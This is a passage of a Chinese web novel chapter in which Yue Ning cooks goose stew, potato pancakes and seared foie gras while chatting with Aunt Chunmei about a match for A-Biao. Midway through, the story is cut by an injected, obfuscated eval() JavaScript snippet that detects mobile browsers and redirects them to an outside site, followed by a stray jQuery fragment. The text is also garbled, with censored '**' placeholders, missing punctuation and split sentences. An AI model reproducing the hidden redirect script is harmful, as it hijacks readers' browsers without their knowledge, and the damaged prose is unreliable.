岳宁在水槽边杀鱼，狸花猫闻着味道就来了，仰头喵喵叫。
岳宁拿了个盘子把鱼内脏全都扫进搪瓷盆里，放在厨房门口。
狸花猫冲过来拖了鱼肠就跑，在水泥地上拖出一道血迹。
陆春梅抱着磊磊过来，看见这个情形，她好笑地说：“宁宁，你还给它装个盆子，这就是脱裤子放屁了。以前在老家的时候，你端个饭碗，蹲在家门口，你自己一口，大黑一口。也没见你这么瞎讲究，怎么去了港城就这么矫情起来了？”
岳宁也觉得自己确实有点多此一举，她说：“行了，行了。给我拿块腊肉，拿只咸鸡过来。”
陆春梅把娃塞给杨勇根，转身出去拿了一块腊肉、一只咸鸡过来。
岳宁把鱼剁成块，从包里拿出一罐普宁豆酱——这是宝华楼自己酿造的豆酱，咸香中带着鲜甜，用来做钳鱼煲最合适了，她把鱼腌上了。
“鸡、鹅和腊肉一锅炖上？”
“一锅炖上。”岳宁说道。
他们西北的腊肉，用盐和香料腌制，不烟熏，真正晒足了日子的腊肉，肥肉晶莹剔透，瘦肉不柴，加上咸鸡、新鲜的鹅肉一起炖，一口汤别提多鲜香了。
陆春梅把鹅、鸡和腊肉一起下了锅，再生了火。
岳宁切菜。
“宁宁，你说阿彪找个本地姑娘好呢？还是说回去找个咱们同乡的姑娘？”陆春梅问岳宁。
“有人给阿彪介绍对象？”岳宁把笋片放进盆里。
阿彪比岳宁大一岁，乡下孩子小学读完，认识几个字就算是好的了。但是阿彪和秀秀都读了高中。
这也多亏了福根**，福根**回来之后，改变了上一任大队**动不动就把岳志荣和莫维文拉出来，让群众骂他们打他们方式。他跟大家摆事实、讲道理，给大家读报纸，跟大家解释，说主席不是反对劳动人民掌握知识，而是反对那些知识分子将知识占为己有，变成他们小团体的私有物。这么一说，就说到了莫维文，说到了延续七百多年的莫氏家族。
福根**说现在上面也没有说要关掉大学，而是说让工农兵子弟上学，就是要打破这些知识分子家族知识传代，不让无产阶级读书识字的局面。
他说完之后，让莫维文上台做深刻检讨，检讨他们家是怎么样世世代代培养读书人的。莫维文上台检讨时，下面的人唠嗑的唠嗑，纳鞋底的纳鞋底。
福根**任务完
成，莫维文也交了报告，群众受到了“教育。真听进去多少，就不得而知了。
只有跟岳家父女和莫维文关系很好的**义夫妻，看到莫维文私下会教岳宁读书，多多少少认为福根**说得有道理，也让俩孩子读书。
正是因为识字，阿彪从刚开始在车间做装配工人，到现在已经是电风扇装配车间的车间主任了。
果然陆春梅满脸笑意：“是啊！张婶跟我说她的侄女，就是隔壁村的，在村小学里教语文。
“小姑娘怎么样？岳宁看春梅婶的表情就知道，她肯定很满意，就是要跟她炫耀一番。
陆春梅往灶膛里塞了两根木柴，到岳宁身边，拿起岳宁已经削了皮的洋芋，开始擦起了洋芋。
岳宁一直给同学们做菜，还没请他们吃过自己在西北果腹的洋芋饼饼。
陆春梅贴着岳宁说：“脸圆圆的，一团和气，也读了高中，才能在村里教书。上头一个姐姐一个哥哥，下面还有一个弟弟。老两口跟咱们一样，都是老老实实的庄稼人。
“明明你很满意，还拐着弯问我？心里笑开了花儿了吧？岳宁横了她一眼，“跟我还绕弯子？
陆春梅笑呵呵：“以前田枣花不是缠着你吗？我老是帮你，那时候有人就说我既然这么喜欢你，为什么不把你留下当儿媳妇？我心里清楚，咱们家阿彪可配不上你。咱们家那个条件，要找个媳妇儿可不容易。还有人跟我说，让秀秀跟人换亲。我哪儿舍得为了儿子坑了女儿。我给秀秀找的那家人，已经是咱们那儿四邻八乡条件顶好的了。像现在这个姑娘这样的条件，以前我做梦都不敢想。现在人家还觉得高攀咱们家呢！
“现在阿彪哥找好了对象，您别急着催秀秀找对象，她过年才十八呢？岳宁跟陆春梅说，“慢慢找，找合适的。
“知道，知道。乔老板和几位老板，找了粤城大学，在咱们这里开了个培训班，送了几个人去学怎么跟外国人做生意。秀秀要读书呢！陆春梅言语里难掩骄傲，这日子有盼头啊！
两人一边准备一边唠着家常，磊磊睡着了，杨勇根把婴儿车拉到了食堂里，跟陆春梅招呼了一声，让她看顾孩子。
岳宁等春梅婶擦好了洋芋泥，让她去照顾孩子，做大锅菜，自己一个人忙得过来。
岳宁把鹅肠切段、鹅胗切片，浸泡了几张豆皮。
白色的蒸汽带着鲜香之
气冒了出来，岳宁揭开锅盖，刹那间香气弥漫了整个厨房，就连正在看孩子的陆春梅都说：“哎呦，可馋死我了。
“还没到时候呢！
她这声音一出，孩子传来哭声，陆春梅抱起磊磊：“哎呦，我家小花儿尿了，大娘给你去换尿布。
春梅婶疼孩子，岳宁小时候就被她“宝儿、花儿、小猫、小狗地叫。
春梅婶抱着孩子出门。岳宁尝了一口汤，味道够咸。
河南的固始鹅块，是顶顶适合冬天吃的一道菜。
这固始鹅块，普遍的做法是鹅不加盐白煮，再切块，用鹅油爆香葱姜辣椒后，再用煮鹅的鹅汤炖鹅肉。
上辈子有位豫菜大厨从南京盐水鸭上得到灵感，把鹅用盐和香料腌制一天一夜，小火慢炖后再切块。他不用鹅油，而是用鸡油和猪油各半，炒葱姜干辣椒，加鹅汤炖煮鹅肉。这样的做法，鹅肉经过腌制后，更加咸鲜。
岳宁回来之后，在做腌笃鲜的时候，突然想到，是不是也可以用腌货炖鲜鹅的方式做。
她用了徽州刀板香咸肉和风干鸡，咸肉和风干鸡的咸味经过炖煮后渗透进鲜鹅里，鹅肉不仅咸鲜，还带着腌腊制品特有的风味。
咕咚咕咚翻滚的汤，泛上来的是奶白色的汤，边上一圈漂浮着一层黄油，岳宁用勺子把油撇出来。这油是猪、鸡和鹅的混合油，放进冰箱冷藏后，油凝固就能去掉水分了。
岳宁盖上锅盖，去灶膛里看了一眼，添了一块硬柴，让它慢慢炖。
她又引了火，烧了另外一口锅，摊洋芋饼饼，把洋芋饼饼切成块，忙忙碌碌把料全部配好了。
此时，炖鹅的锅里香气愈发醇厚。岳宁再次揭开锅盖，用筷子戳了戳鹅肉，鹅肉已经差不多了，但腊肉和咸鸡因为晾晒干了，还有些硬，需要继续炖。她提了两只鹅出来放进搪瓷盆里，让它晾凉。
又从冰箱里拿出刚才撇出来的油，油已经凝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915649|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结成了块，她把油放进锅里融化，加入香葱丝，小火慢慢熬，熬到葱叶成金黄色，下入泡过的秦椒段，炒到秦椒由鲜红色变成红褐色，她再次揭开炖着腊肉和咸鸡的锅，从里面舀出奶白色的汤，加入炒好的葱姜辣椒中。因着那炖鹅的汤太咸，她又添了一勺清水进去，小火慢慢炖，让辣椒的辣味熬煮出来。
岳宁正在斩鹅块，几条狗摇着尾巴进来，外头传来**义的声音：“这味道老远我就闻到了，香死
了。”
岳宁把鹅身上屁股、肚子边的零碎剁了下来也不瞎讲究了就像在西北一样直接扔给几条狗。
几条狗冲过来抢着吃**义盯着案板上的鹅头问：“这鹅头熟了吧？”
岳宁把两个鹅头放进一个小碗里：“熟了您去吃吧！”
**义接过碗嘿嘿一笑放在桌上
岳宁切好鹅块去把汤里的葱姜辣椒打掉。
她正打着料听见嘈杂的脚步声乔君贤带着大家一起进了食堂这下可热闹了。
胖强第一个冲进厨房：“宁宁我快饿**。”
岳宁转头看了他一眼：“你肚子上的游泳圈就像骆驼的驼峰可以让你撑上一个月。”
胖强讪讪地笑了一声岳宁说：“你还把自己当外人啊？拿碗出去我要煎鹅肝了你们先帮我试好鹅肝咱们再吃晚饭。”
听见有鹅肝吃他立马开心地叫起来：“吃鹅肝了吃鹅肝了！”
**义鹅头吃完了说：“小伙子咋咋呼呼个啥呀！这东西有什么好吃的上次他们让我吃我差点吐了那不是吃一口油吗？还不如吃块肉呢！”
“老师傅您不懂。好的鹅肝一块可以卖上千块呢！”周明轩说道。
岳宁在小灶台上架起铸铁锅拧开煤气阀点火。蓝色的火苗舔着锅底她从冰箱取出切好的鹅肝片撒上盐等铸铁锅烧热将鹅肝放进锅里。
“滋啦——”声响中鹅肝边缘迅速焦化析出的油脂散发出带着奶香的气息。
鹅肝双面煎到焦脆里面五成熟她把鹅肝拿出来放在大盘里用锅里剩下的油加入意大利黑醋汁和特调的鸡汁调和成的酱汁。
她直接把酱汁倒在鹅肝上说一声：“好了你们可以去试味道了。”
赵佳颖过来看一个大盘子里放着四块大块的鹅肝上面随意地淋了酱汁。
这是让港城人趋之若鹜的明星大厨做出来的？她说：“宁宁你这也太随便了吧？”
“难不成让你们试试味道我还要摆盘？”岳宁瞪了她一眼“快去吃。”
岳宁叫了一声：“君贤你跟我合吃一块？”
乔君贤走过来岳宁切开鹅肝递给他一双筷子乔君贤接过正要吃就听见胖强的声音：“入口就化了！跟我在港城酒店吃的差不多！”
赵佳颖小口品尝着：“焦香的外皮裹着软嫩的内里还有这个酱汁带点酸很解腻。”
“是的是的。真不敢想这是咱们这里本地产的鹅肝。”
他们都在夸赞岳宁吃了一口鹅肝抬头看着乔君贤问：“你怎么看？”
乔君贤放下筷子认真说道：“脂香很足达到了中上水准。”他顿了顿看向岳宁：“但跟朗德鹅肝比细腻度还是差了点。骡鹅肝的纤维感更明显回味里少了点坚果的香气。”
“对！骡鹅毕竟是杂交品种脂肝转化率比朗德鹅低。”岳宁说。
杨勇根听岳宁这么说忐忑地问：“这是不行吗？”